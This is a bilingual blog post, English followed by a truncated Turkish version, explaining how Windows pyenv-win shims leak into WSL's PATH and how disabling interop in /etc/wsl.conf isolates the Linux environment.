Find or Create the wsl.conf File<a class="headerlink" href="#step-1-find-or-create-the-wslconf-file" title="Permanent link">#</a></h3> <p>Open a terminal in WSL:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>nano<span class="w"> </span>/etc/wsl.conf </code></pre></div> <p>It's okay if the file doesn't exist; nano will create it anyway.</p> <h3 id="step-2-change-interop-settings">Step 2: Change Interop Settings<a class="headerlink" href="#step-2-change-interop-settings" title="Permanent link">#</a></h3> <p>Write the following inside the file:</p> <div class="highlight"><pre><span></span><code><span class="k">[interop]</span> <span class="na">enabled</span><span class="o">=</span><span class="s">false</span> <span class="na">appendWindowsPath</span><span class="o">=</span><span class="s">false</span> </code></pre></div> <p>What do these two lines do?</p> <ul> <li><code>enabled=false</code>: Disables running Windows applications from within WSL.</li> <li><code>appendWindowsPath=false</code>: Prevents the Windows PATH from leaking into WSL.</li> </ul> <p>Save it: <code>Ctrl+X</code>, then <code>Y</code>, then <code>Enter</code>.</p> <h3 id="step-3-restart-wsl">Step 3: Restart WSL<a class="headerlink" href="#step-3-restart-wsl" title="Permanent link">#</a></h3> <p>Exit the terminal and in PowerShell:</p> <div class="highlight"><pre><span></span><code><span class="n">wsl</span> <span class="p">-</span><span class="n">-shutdown</span> </code></pre></div> <p>Then open WSL again. Without this command, the changes will not take effect.</p> <h3 id="step-4-verification">Step 4: Verification<a class="headerlink" href="#step-4-verification" title="Permanent link">#</a></h3> <p>Enter WSL again and check:</p> <div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="nv">$PATH</span> </code></pre></div> <p>You should no longer see Windows PATHs starting with <code>/mnt/c/...</code>.</p> <div class="highlight"><pre><span></span><code>python<span class="w"> </span>--version </code></pre></div> <p>If it doesn't find Python &mdash; that's normal. You need to install Python on the Linux side. But at least there's no more broken Python leaking from Windows.</p> <hr/> <h2 id="comparison-interop-enabled-vs-disabled_1">Comparison: Interop Enabled vs. Disabled<a class="headerlink" href="#comparison-interop-enabled-vs-disabled" title="Permanent link">#</a></h2> <p>Think about it before doing this. There are advantages and disadvantages to disabling interop:</p> <table> <thead> <tr> <th></th> <th>Interop Enabled</th> <th>Interop Disabled</th> </tr> </thead> <tbody> <tr> <td><strong>Windows Apps</strong></td> <td>Run from WSL</td> <td>Do not run</td> </tr> <tr> <td><strong>PATH Security</strong></td> <td>Risky &mdash; Windows can leak</td> <td>Secure &mdash; full isolation</td> </tr> <tr> <td><strong>Performance</strong></td> <td>Slightly slower (Windows PATH scan)</td> <td>Faster</td> </tr> <tr> <td><strong>File Access</strong></td> <td><code>/mnt/c/</code> works</td> <td><code>/mnt/c/</code> still works<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></td> </tr> <tr> <td><strong>VS Code Integration</strong></td> <td><code>code .</code> works</td> <td>You need to connect manually<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></td> </tr> <tr> <td><strong>Python/Node Security</strong></td> <td>Can get mixed up</td> <td>Entirely under Linux control</td> </tr> </tbody> </table> <hr/> <h2 id="side-effects-small-but-important">Side Effects (Small But Important)<a class="headerlink" href="#side-effects-small-but-important" title="Permanent link">#</a></h2> <p>After doing this, I noticed that WSL no longer acts like a "Windows + Linux hybrid environment" but more like a small Linux VM. And to be honest&hellip; I liked it better this way. But some things changed:</p> <ul> <li><code>explorer.exe .</code> no longer works. You can use <code>wslview .</code> instead (requires the <code>wslu</code> package).</li> <li>You cannot call <code>.exe</code> files from Windows. But why would you want to, anyway?</li> <li>Docker Desktop WSL backend might be affected. If you use Docker, research how Docker works with WSL before making this setting.</li> </ul> <hr/> <h2 id="frequently-asked-questions">Frequently Asked Questions<a class="headerlink" href="#frequently-asked-questions" title="Permanent link">#</a></h2> <h3 id="vs-code-doesnt-work-after-setting-appendwindowspathfalse">"VS Code doesn't work after setting appendWindowsPath=false"<a class="headerlink" href="#vs-code-doesnt-work-after-setting-appendwindowspathfalse" title="Permanent link">#</a></h3> <p>The VS Code WSL extension (Remote - WSL) already connects to WSL over SSH. It works even if interop is disabled. Only the <code>code .</code> command doesn't work. Solution: Open VS Code from Windows, click the "&gt;&lt;" icon in the bottom left, and select "Connect to WSL."</p> <h3 id="is-wsl-shutdown-required">"Is wsl --shutdown required?"<a class="headerlink" href="#is-wsl-shutdown-required" title="Permanent link">#</a></h3> <p>Yes. <code>wsl.conf</code> changes only take effect when WSL is restarted. <code>wsl --shutdown</code> closes all WSL instances. Then typing <code>wsl</code> again opens it with the new settings.</p> <h3 id="is-the-same-true-for-different-distributions">"Is the same true for different distributions?"<a class="headerlink" href="#is-the-same-true-for-different-distributions" title="Permanent link">#</a></h3> <p>Yes. Ubuntu, Debian, Fedora, Arch &mdash; regardless of which WSL distribution you use, <code>/etc/wsl.conf</code> works the same way. But you may need to edit it separately for each distribution.</p> <h3 id="will-docker-desktop-be-affected">"Will Docker Desktop be affected?"<a class="headerlink" href="#will-docker-desktop-be-affected" title="Permanent link">#</a></h3> <p>If you are using Docker Desktop with the WSL backend, yes, it could be affected. Docker has its own WSL instance (<code>docker-desktop</code>). You might need to edit its <code>/etc/wsl.conf</code> separately. Or just isolate your development WSL instance and leave Docker alone.</p> <h3 id="how-do-i-install-python-now">"How do I install Python now?"<a class="headerlink" href="#how-do-i-install-python-now" title="Permanent link">#</a></h3> <p>Inside WSL:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>apt<span class="w"> </span>update<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>sudo<span class="w"> </span>apt<span class="w"> </span>install<span class="w"> </span>python3<span class="w"> </span>python3-pip </code></pre></div> <p>If you want multiple Python versions, install them with the Linux version of pyenv, as I explained in my <a href="/en/linux-gpu-driver-rehberi/" rel="noopener noreferrer" target="_blank">Linux GPU driver guide</a>, not with system packages. But this time only your Linux pyenv will work, and there will be no shims leaking from Windows.</p> <hr/> <h2 id="why-isnt-appendwindowspathfalse-enough_1">Why Isn't "appendWindowsPath=false" Enough?<a class="headerlink" href="#why-isnt-appendwindowspathfalse-enough" title="Permanent link">#</a></h2> <p>You might ask, "Wait, isn't it enough to just block the PATH?" No. Because while interop is on, some things coming from Windows can still cause problems. For example:</p> <ul> <li><code>.bat</code> and <code>.cmd</code> files in Windows can be called from WSL.</li> <li>Windows environment variables (like <code>%APPDATA%</code>) can leak into WSL.</li> <li>Some tools (especially Java, .NET) try to use paths coming from Windows.</li> </ul> <p>I preferred total isolation. You can try a lighter solution by just setting <code>appendWindowsPath=false</code>. But in my experience, half-solutions tend to cause headaches later.</p> <hr/> <h2 id="alternative-solution-removing-only-specific-paths">Alternative Solution: Removing Only Specific PATHs<a class="headerlink" href="#alternative-solution-removing-only-specific-paths" title="Permanent link">#</a></h2> <p>If you don't want to disable interop completely, you can remove only the problematic PATHs:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Add to .zshrc or .bashrc to run automatically when WSL opens:</span> <span class="nb">export</span><span class="w"> </span><span class="nv">PATH</span><span class="o">=</span><span class="k">$(</span><span class="nb">echo</span><span class="w"> </span><span class="s2">"</span><span class="nv">$PATH</span><span class="s2">"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>tr<span class="w"> </span><span class="s1">':'</span><span class="w"> </span><span class="s1">'\n'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-v<span class="w"> </span><span class="s1">'/mnt/c'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>tr<span class="w"> </span><span class="s1">'\n'</span><span class="w"> </span><span class="s1">':'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>sed<span class="w"> </span><span class="s1">'s/:$//'</span><span class="k">)</span> </code></pre></div> <p>This command removes all <code>/mnt/c/...</code> paths from the PATH. But this is a temporary solution &mdash; you need to run it in every WSL session.</p> <p>I chose the permanent solution: I solved it at the root with <code>wsl.conf</code>.</p> <hr/> <h2 id="conclusion-lets-be-honest">Conclusion (Let's Be Honest)<a class="headerlink" href="#conclusion-lets-be-honest" title="Permanent link">#</a></h2> <p>I think the real lesson here is this: if you use WSL as "Linux attached to Windows," at some point, Windows infects everything. This is true not just for pyenv but for everything. Node.js, Java, Ruby, Go &mdash; any tool installed on Windows can leak into WSL's PATH. I eventually did this:</p> <ul> <li>I cut the Windows PATH.</li> <li>I disabled interop.</li> <li>I isolated the system.</li> </ul> <p>And strangely enough&hellip; everything was fixed 😄 WSL is a great tool, but you either use it like Linux or you get lost in the Windows mess. I left the second way and moved to the first. And I'm glad I did. If you've run into a similar pyenv dead end on the Windows side, my guide on <a href="/en/powershell-pyenv-win-kurulum-hatasi-cozumu/">Powershell pyenv-win Installation Error Solution</a> is exactly what you need!</p> <hr/> <div class="admonition note"> <p class="admonition-title">A small confession: When I first solved this, I was quite in the mode of 'why did Python become my enemy?' It turns out it wasn't Python; it was the environment. I learned about this thing called interop that day. And I've been using WSL isolated ever since.</p> </div> <hr/> <hr/> <h2 id="related-posts">Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/powershell-pyenv-win-kurulum-hatasi-cozumu/">Powershell pyenv-win Installation Error Solution</a></li> <li><a href="/en/linux-gpu-driver-rehberi/" rel="noopener noreferrer" target="_blank">Linux GPU Driver Guide: Stable and Clean Installation for AMD, Intel, and Nvidia</a></li> <li><a href="/en/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/" rel="noopener noreferrer" target="_blank">How to Enable ntsync on Arch Linux?</a></li> <li><a href="/en/vivaldi-doh-dns-over-https-ayari/" rel="noopener noreferrer" target="_blank">How to Configure DoH in Vivaldi?</a></li> <li><a href="/en/proxmox-zfs-home-assistant/" rel="noopener noreferrer" target="_blank">Home Assistant Installation on Proxmox + ZFS</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p><code>appendWindowsPath=false</code> only affects the PATH, not the file system. <code>/mnt/c/</code> is still accessible.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>You can connect with VS Code's Remote - WSL extension; it doesn't require interop.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-04T18:40:00+03:002026-05-04T18:40:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-04:/wsl-pyenv-cakisma-cozumu/

<p>WSL içinde Windows pyenv-win PATH çakışması yüzünden bozulan python ortamını kapattım, sistemi izole ederek temiz bir Linux dev setup kurdum.</p>

<h2 id="neden-python-bozuldu-ya-an">"neden python bozuldu ya?" an&inodot;<a class="headerlink" href="#neden-python-bozuldu-ya-an" title="Permanent link">#</a></h2> <p>&Scedil;unu en ba&scedil;tan s&ouml;yleyeyim: bu hata ilk bak&inodot;&scedil;ta "python bozulmu&scedil;" gibi duruyor ama de&gbreve;il. As&inodot;l olay &scedil;u: WSL i&ccedil;inde <code>python</code> &ccedil;al&inodot;&scedil;t&inodot;r&inodot;yorsun ve sana &scedil;unu f&inodot;rlat&inodot;yor:</p> <div class="highlight"><pre><span></span><code>/mnt/c/Users/baba/.pyenv/pyenv-win/shims/python bad<span class="w"> </span>interpreter:<span class="w"> </span>/bin/sh^M </code></pre></div> <p>Ve insan&inodot;n akl&inodot;na direkt &scedil;u geliyor: <em>"ben ne yapt&inodot;m ya?"</em> &Idot;lk tepki: python'a ne oldu? &Idot;kinci tepki: <code>.zshrc</code>'yi bozdum mu? &Uuml;&ccedil;&uuml;nc&uuml; tepki: bilgisayar&inodot; duvara f&inodot;rlatay&inodot;m m&inodot;? Ben de tam bu s&inodot;rayla gittim. Ve sonunda olay&inodot;n python'la alakas&inodot; olmad&inodot;&gbreve;&inodot;n&inodot;, tamamen bir <strong>PATH &ccedil;ak&inodot;&scedil;mas&inodot;</strong> oldu&gbreve;unu fark ettim.</p> <hr/> <h2 id="wsl-interop-sessiz-katil">WSL Interop: Sessiz Katil<a class="headerlink" href="#wsl-interop-sessiz-katil" title="Permanent link">#</a></h2> <p>Burada biraz teknikle&scedil;mem laz&inodot;m ama s&inodot;k&inodot;lmay&inodot;n, anlataca&gbreve;&inodot;m. WSL'in Windows ile bir "interop" mekanizmas&inodot; var. Bu mekanizma sayesinde WSL i&ccedil;inden Windows uygulamalar&inodot;n&inodot; &ccedil;al&inodot;&scedil;t&inodot;rabiliyorsun &mdash; mesela <code>explorer.exe .</code> yaz&inodot;nca dosya y&ouml;neticisi a&ccedil;&inodot;l&inodot;yor, <code>notepad.exe</code> ile Not Defteri a&ccedil;&inodot;l&inodot;yor. G&uuml;zel &ouml;zellik. Ama bir sorun var. Bu interop mekanizmas&inodot;, Windows PATH'ini de sessizce WSL'in i&ccedil;ine al&inodot;yor. Yani Windows'ta kurulu olan her &scedil;ey &mdash; Python, Node.js, Java, ne varsa &mdash; WSL'in PATH'ine s&inodot;z&inodot;yor. Bak&inodot;n Microsoft'un kendi dok&uuml;mantasyonunda ne diyor: <a href="https://learn.microsoft.com/en-us/windows/wsl/wsl-config#global-configuration-options-with-wslconfig" rel="noopener noreferrer" target="_blank">WSL Global Configuration Options</a> Orada <code>appendWindowsPath</code> diye bir ayar var. Varsay&inodot;lan olarak <code>true</code>. Yani Windows PATH'i otomatik olarak ekleniyor. &Idot;nsan okuyunca "tamam ya bu opsiyonel, elleme" diyor. Sonra bir bak&inodot;yorsun sistem yar&inodot; Windows yar&inodot; Linux olmu&scedil;. Ne g&uuml;zel hybrid di mi? Hay&inodot;r. De&gbreve;il.</p> <hr/> <h2 id="benim-deneyimim-debug-gunlugu">Benim Deneyimim: Debug G&uuml;nl&uuml;&gbreve;&uuml;<a class="headerlink" href="#benim-deneyimim-debug-gunlugu" title="Permanent link">#</a></h2> <p>&Idot;lk olarak <code>.zshrc</code>'yi kurcalad&inodot;m. PATH sat&inodot;rlar&inodot;n&inodot; tek tek inceledim. Temiz &ccedil;&inodot;kt&inodot;. <code>.profile</code>'a bakt&inodot;m. O da temiz. <code>printenv | grep -i pyenv</code> &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;m. &Ccedil;&inodot;kt&inodot;:</p> <div class="highlight"><pre><span></span><code><span class="nv">PATH</span><span class="o">=</span>...:/mnt/c/Users/baba/.pyenv/pyenv-win/bin:... </code></pre></div> <p>&Idot;&scedil;te orada g&ouml;rd&uuml;m. Linux taraf&inodot;nda pyenv kurulu de&gbreve;il ama Windows'taki pyenv-win, WSL'in PATH'ine s&inodot;z&inodot;nt&inodot; yapm&inodot;&scedil;. Bu arada, pyenv-win'in nas&inodot;l &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;n&inodot; bilmiyorsan&inodot;z k&inodot;saca anlatay&inodot;m: Windows'ta Python s&uuml;r&uuml;mlerini y&ouml;neten bir ara&ccedil;. Kendi <code>shims</code> klas&ouml;r&uuml;nde sahte python &ccedil;al&inodot;&scedil;t&inodot;r&inodot;c&inodot;lar&inodot; olu&scedil;turuyor. WSL bu shims'leri g&ouml;r&uuml;nce "ha tamam, python burada" diyor ama o shims Windows i&ccedil;in yaz&inodot;lm&inodot;&scedil;. Sonra da <code>bad interpreter: /bin/sh^M</code> hatas&inodot;. <code>^M</code> g&ouml;rd&uuml;n&uuml;z m&uuml;? Bu Windows sat&inodot;r sonu karakteri (<code>\r\n</code>). Linux'ta <code>\n</code> olmas&inodot; gerekiyor. Yani WLindows'tan gelen dosya, Linux taraf&inodot;ndan okunam&inodot;yor.</p> <hr/> <h2 id="interop-nasl-calsyor-teknik-detay">&Idot;nterop Nas&inodot;l &Ccedil;al&inodot;&scedil;&inodot;yor? (Teknik Detay)<a class="headerlink" href="#interop-nasl-calsyor-teknik-detay" title="Permanent link">#</a></h2> <p>Biraz daha derine ineyim. WSL a&ccedil;&inodot;ld&inodot;&gbreve;&inodot;nda &scedil;u s&inodot;rayla &ccedil;al&inodot;&scedil;&inodot;yor:</p> <ol> <li>Linux kernel y&uuml;kleniyor</li> <li>init s&uuml;reci ba&scedil;l&inodot;yor</li> <li><code>/etc/wsl.conf</code> ve <code>%UserProfile%\.wslconfig</code> okunuyor</li> <li>E&gbreve;er <code>enabled=true</code> ise, Windows'tan bilgi &ccedil;ekiliyor</li> <li>E&gbreve;er <code>appendWindowsPath=true</code> ise, Windows PATH'i Linux PATH'ine ekleniyor</li> </ol> <p>Bu s&uuml;re&ccedil;te Windows taraf&inodot;ndaki <code>pyenv-win</code> klas&ouml;r&uuml; de PATH'e d&uuml;&scedil;&uuml;yor. Ve Linux'taki bash, o klas&ouml;rdeki shims dosyalar&inodot;n&inodot; &ccedil;al&inodot;&scedil;t&inodot;rmaya &ccedil;al&inodot;&scedil;&inodot;yor. Sonu&ccedil;: <code>bad interpreter</code> hatas&inodot;. <a href="https://stackoverflow.com/questions/75883177/installing-pyenv-win-on-top-of-working-wsl2-ubuntu-instance-breaks-ubuntu-pyenv" rel="noopener noreferrer" target="_blank">StackOverflow'da ayn&inodot; hatay&inodot; ya&scedil;ayan insanlar</a> var. Orada da herkes ayn&inodot; &scedil;eyi s&ouml;yl&uuml;yor: "Windows pyenv kuruyor, WSL'e s&inodot;z&inodot;yor, Python k&inodot;r&inodot;l&inodot;yor."</p> <hr/> <h2 id="cozum-adm-adm-izolasyon">&Ccedil;&ouml;z&uuml;m: Ad&inodot;m Ad&inodot;m &Idot;zolasyon<a class="headerlink" href="#cozum-adm-adm-izolasyon" title="Permanent link">#</a></h2> <p>En basit ama en sert &ccedil;&ouml;z&uuml;m&uuml; uygulad&inodot;m. WSL'i Windows'tan tamamen izole ettim.</p> <h3 id="adm-1-wslconf-dosyasn-bul-veya-olustur">Ad&inodot;m 1: wsl.conf Dosyas&inodot;n&inodot; Bul veya Olu&scedil;tur<a class="headerlink" href="#adm-1-wslconf-dosyasn-bul-veya-olustur" title="Permanent link">#</a></h3> <p>WSL i&ccedil;inde terminal a&ccedil;&inodot;n:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>nano<span class="w"> </span>/etc/wsl.conf </code></pre></div> <p>Dosya yoksa sorun de&gbreve;il, nano zaten olu&scedil;turacak.</p> <h3 id="adm-2-interop-ayarlarn-degistir">Ad&inodot;m 2: &Idot;nterop Ayarlar&inodot;n&inodot; De&gbreve;i&scedil;tir<a class="headerlink" href="#adm-2-interop-ayarlarn-degistir" title="Permanent link">#</a></h3> <p>Dosyan&inodot;n i&ccedil;ine &scedil;unu yaz&inodot;n:</p> <div class="highlight"><pre><span></span><code><span class="k">[interop]</span> <span class="na">enabled</span><span class="o">=</span><span class="s">false</span> <span class="na">appendWindowsPath</span><span class="o">=</span><span class="s">false</span> </code></pre></div> <p>Bu iki sat&inodot;r ne yap&inodot;yor?</p> <ul> <li><code>enabled=false</code>: Windows uygulamalar&inodot;n&inodot; WSL i&ccedil;inden &ccedil;al&inodot;&scedil;t&inodot;rmay&inodot; kapat&inodot;yor</li> <li><code>appendWindowsPath=false</code>: Windows PATH'inin WSL'e s&inodot;zmas&inodot;n&inodot; engelliyor</li> </ul> <p>Kaydedin: <code>Ctrl+X</code>, sonra <code>Y</code>, sonra <code>Enter</code>.</p> <h3 id="adm-3-wsli-yeniden-baslat">Ad&inodot;m 3: WSL'i Yeniden Ba&scedil;lat<a class="headerlink" href="#adm-3-wsli-yeniden-baslat" title="Permanent link">#</a></h3> <p>Terminal'den &ccedil;&inodot;k&inodot;n ve PowerShell'de:</p> <div class="highlight"><pre><span></span><code><span class="n">wsl</span> <span class="p">-</span><span class="n">-shutdown</span> </code></pre></div> <p>Sonra tekrar WSL'i a&ccedil;&inodot;n. Bu komut olmadan de&gbreve;i&scedil;iklikler ge&ccedil;erli olmaz.</p> <h3 id="adm-4-dogrulama">Ad&inodot;m 4: Do&gbreve;rulama<a class="headerlink" href="#adm-4-dogrulama" title="Permanent link">#</a></h3> <p>WSL'e tekrar girin ve kontrol edin:</p> <div class="highlight"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="nv">$PATH</span> </code></pre></div> <p>Art&inodot;k <code>/mnt/c/...</code> ile ba&scedil;layan Windows PATH'lerini g&ouml;rm&uuml;yor olman&inodot;z laz&inodot;m.</p> <div class="highlight"><pre><span></span><code>python<span class="w"> </span>--version </code></pre></div> <p>E&gbreve;er python bulam&inodot;yorsa &mdash; bu normal. Linux taraf&inodot;nda python kurman&inodot;z gerekiyor. Ama en az&inodot;ndan art&inodot;k Windows'tan s&inodot;zan bozuk python yok.</p> <hr/> <h2 id="karslastrma-interop-ack-m-kapal-m_1">Kar&scedil;&inodot;la&scedil;t&inodot;rma: &Idot;nterop A&ccedil;&inodot;k m&inodot; Kapal&inodot; m&inodot;?<a class="headerlink" href="#karslastrma-interop-ack-m-kapal-m" title="Permanent link">#</a></h2> <p>Bunu yapmadan &ouml;nce bir d&uuml;&scedil;&uuml;n&uuml;n. &Idot;nterop'u kapatman&inodot;n avantajlar&inodot; ve dezavantajlar&inodot; var:</p> <table> <thead> <tr> <th></th> <th>&Idot;nterop A&ccedil;&inodot;k</th> <th>&Idot;nterop Kapal&inodot;</th> </tr> </thead> <tbody> <tr> <td><strong>Windows uygulamalar&inodot;</strong></td> <td>WSL'den &ccedil;al&inodot;&scedil;&inodot;r</td> <td>&Ccedil;al&inodot;&scedil;maz</td> </tr> <tr> <td><strong>PATH g&uuml;venli&gbreve;i</strong></td> <td>Riskli &mdash; Windows s&inodot;zabilir</td> <td>G&uuml;venli &mdash; tam izolasyon</td> </tr> <tr> <td><strong>Performans</strong></td> <td>Hafif yava&scedil; (Windows PATH taramas&inodot;)</td> <td>Daha h&inodot;zl&inodot;</td> </tr> <tr> <td><strong>Dosya eri&scedil;imi</strong></td> <td><code>/mnt/c/</code> &ccedil;al&inodot;&scedil;&inodot;r</td> <td><code>/mnt/c/</code> h&acirc;l&acirc; &ccedil;al&inodot;&scedil;&inodot;r<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></td> </tr> <tr> <td><strong>VS Code entegrasyonu</strong></td> <td><code>code .</code> &ccedil;al&inodot;&scedil;&inodot;r</td> <td>Elle ba&gbreve;laman&inodot;z gerekir<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></td> </tr> <tr> <td><strong>Python/Node g&uuml;venli&gbreve;i</strong></td> <td>Kar&inodot;&scedil;abilir</td> <td>Tamamen Linux kontrol&uuml;nde</td> </tr> </tbody> </table> <hr/> <h2 id="yan-etkiler-kucuk-ama-onemli">Yan Etkiler (K&uuml;&ccedil;&uuml;k Ama &Ouml;nemli)<a class="headerlink" href="#yan-etkiler-kucuk-ama-onemli" title="Permanent link">#</a></h2> <p>Bunu yap&inodot;nca &scedil;unu fark ettim: WSL art&inodot;k "Windows + Linux hibrit ortam" de&gbreve;il, direkt k&uuml;&ccedil;&uuml;k bir Linux VM gibi davran&inodot;yor.Ve a&ccedil;&inodot;k s&ouml;yleyeyim&hellip; ben bunu daha &ccedil;ok sevdim. Ama baz&inodot; &scedil;eyler de&gbreve;i&scedil;ti:</p> <ul> <li><code>explorer.exe .</code> &ccedil;al&inodot;&scedil;m&inodot;yor art&inodot;k. Yerine <code>wslview .</code> kullanabilirsiniz (wslu paketi gerekli).</li> <li>Windows'taki <code>.exe</code> dosyalar&inodot;n&inodot; &ccedil;a&gbreve;&inodot;ram&inodot;yorsunuz. Ama zaten neden &ccedil;a&gbreve;&inodot;ras&inodot;n&inodot;z ki?</li> <li>Docker Desktop WSL backend'i etkilenebilir. E&gbreve;er Docker kullan&inodot;yorsan&inodot;z, bu ayar&inodot; yapmadan &ouml;nce Docker'&inodot;n WSL ile nas&inodot;l &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;n&inodot; ara&scedil;t&inodot;r&inodot;n.</li> </ul> <hr/> <h2 id="sk-karslaslan-sorunlar">S&inodot;k Kar&scedil;&inodot;la&scedil;&inodot;lan Sorunlar<a class="headerlink" href="#sk-karslaslan-sorunlar" title="Permanent link">#</a></h2> <h3 id="appendwindowspathfalse-yapnca-vs-code-calsmyor">"appendWindowsPath=false yap&inodot;nca VS Code &ccedil;al&inodot;&scedil;m&inodot;yor"<a class="headerlink" href="#appendwindowspathfalse-yapnca-vs-code-calsmyor" title="Permanent link">#</a></h3> <p>VS Code'un WSL eklentisi (Remote - WSL) zaten WSL'e SSH &uuml;zerinden ba&gbreve;lan&inodot;yor. &Idot;nterop kapal&inodot; olsa bile &ccedil;al&inodot;&scedil;&inodot;r. Sadece <code>code .</code> komutu &ccedil;al&inodot;&scedil;maz. &Ccedil;&ouml;z&uuml;m: VS Code'u Windows'tan a&ccedil;&inodot;p, sol alttaki "&gt;&lt;" ikonuna t&inodot;klay&inodot;p "Connect to WSL" se&ccedil;in.</p> <h3 id="wsl-shutdown-gerekiyor-mu">"wsl --shutdown gerekiyor mu?"<a class="headerlink" href="#wsl-shutdown-gerekiyor-mu" title="Permanent link">#</a></h3> <p>Evet. <code>wsl.conf</code> de&gbreve;i&scedil;iklikleri sadece WSL yeniden ba&scedil;lat&inodot;ld&inodot;&gbreve;&inodot;nda ge&ccedil;erli oluyor. <code>wsl --shutdown</code> t&uuml;m WSL实例lar&inodot;n&inodot; kapat&inodot;yor. Sonra tekrar <code>wsl</code> yaz&inodot;nca yeni ayarlarla a&ccedil;&inodot;l&inodot;yor.</p> <h3 id="farkl-dagtmlarda-ayn-sey-gecerli-mi">"Farkl&inodot; da&gbreve;&inodot;t&inodot;mlarda ayn&inodot; &scedil;ey ge&ccedil;erli mi?"<a class="headerlink" href="#farkl-dagtmlarda-ayn-sey-gecerli-mi" title="Permanent link">#</a></h3> <p>Evet. Ubuntu, Debian, Fedora, Arch &mdash; hangi WSL da&gbreve;&inodot;t&inodot;m&inodot;n&inodot; kullan&inodot;rsan&inodot;z kullan&inodot;n, <code>/etc/wsl.conf</code> ayn&inodot; &scedil;ekilde &ccedil;al&inodot;&scedil;&inodot;r. Ama her da&gbreve;&inodot;t&inodot;m i&ccedil;in ayr&inodot; ayr&inodot; d&uuml;zenlemeniz gerekebilir.</p> <h3 id="docker-desktop-etkilenir-mi">"Docker Desktop etkilenir mi?"<a class="headerlink" href="#docker-desktop-etkilenir-mi" title="Permanent link">#</a></h3> <p>E&gbreve;er Docker Desktop'&inodot; WSL backend ile kullan&inodot;yorsan&inodot;z, evet etkilenebilir. Docker'&inodot;n kendi WSL instance'&inodot; var (<code>docker-desktop</code>). Onun <code>/etc/wsl.conf</code>'unu ayr&inodot; d&uuml;zenlemeniz gerekebilir. Ya da sadece development WSL instance'&inodot;n&inodot;z&inodot; izole edin, Docker'&inodot; dokunmay&inodot;n.</p> <h3 id="pythonu-nasl-kurarm-simdi">"Python'u nas&inodot;l kurar&inodot;m &scedil;imdi?"<a class="headerlink" href="#pythonu-nasl-kurarm-simdi" title="Permanent link">#</a></h3> <p>WSL i&ccedil;inde:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>apt<span class="w"> </span>update<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span>sudo<span class="w"> </span>apt<span class="w"> </span>install<span class="w"> </span>python3<span class="w"> </span>python3-pip </code></pre></div> <p>E&gbreve;er &ccedil;oklu Python s&uuml;r&uuml;m&uuml; istiyorsan&inodot;z, <a href="/linux-gpu-driver-rehberi/" rel="noopener noreferrer" target="_blank">Linux GPU s&uuml;r&uuml;c&uuml; rehberimde</a> anlatt&inodot;&gbreve;&inodot;m gibi sistem paketleriyle de&gbreve;il, pyenv'in Linux versiyonuyla kurun. Ama bu sefer sadece Linux pyenv'i &ccedil;al&inodot;&scedil;acak, Windows'tan s&inodot;zan shims olmayacak.</p> <hr/> <h2 id="neden-sadece-appendwindowspathfalse-yetmez_1">Neden Sadece "appendWindowsPath=false" Yetmez?<a class="headerlink" href="#neden-sadece-appendwindowspathfalse-yetmez" title="Permanent link">#</a></h2> <p>&Scedil;imdi diyeceksiniz ki "tamam da sadece PATH'i engellesen olmaz m&inodot;?" Olmaz. &Ccedil;&uuml;nk&uuml; interop a&ccedil;&inodot;kken Windows'tan gelen baz&inodot; &scedil;eyler h&acirc;l&acirc; sorun &ccedil;&inodot;karabiliyor. Mesela:</p> <ul> <li>Windows'taki <code>.bat</code> ve <code>.cmd</code> dosyalar&inodot; WSL'den &ccedil;a&gbreve;r&inodot;labiliyor</li> <li>Windows ortam de&gbreve;i&scedil;kenleri (<code>%APPDATA%</code> gibi) WSL'e s&inodot;zabiliyor</li> <li>Baz&inodot; ara&ccedil;lar (&ouml;zellikle Java, .NET) Windows'tan gelen yollar&inodot; kullanmaya &ccedil;al&inodot;&scedil;&inodot;yor</li> </ul> <p>Ben tam izolasyonu tercih ettim. Siz isterseniz sadece <code>appendWindowsPath=false</code> yaparak daha hafif bir &ccedil;&ouml;z&uuml;m deneyebilirsiniz. Ama benim tecr&uuml;bem, yar&inodot;m &ccedil;&ouml;z&uuml;mlerin sonradan ba&scedil; a&gbreve;r&inodot;t&inodot;yor olmas&inodot;.</p> <hr/> <h2 id="alternatif-cozum-sadece-belirli-pathleri-kaldrmak">Alternatif &Ccedil;&ouml;z&uuml;m: Sadece Belirli PATH'leri Kald&inodot;rmak<a class="headerlink" href="#alternatif-cozum-sadece-belirli-pathleri-kaldrmak" title="Permanent link">#</a></h2> <p>E&gbreve;er interop'u tamamen kapatmak istemiyorsan&inodot;z, sadece sorunlu PATH'leri kald&inodot;rabilirsiniz:</p> <div class="highlight"><pre><span></span><code><span class="c1"># WSL a&ccedil;&inodot;ld&inodot;&gbreve;&inodot;nda otomatik &ccedil;al&inodot;&scedil;mas&inodot; i&ccedil;in .zshrc veya .bashrc'ye ekleyin:</span> <span class="nb">export</span><span class="w"> </span><span class="nv">PATH</span><span class="o">=</span><span 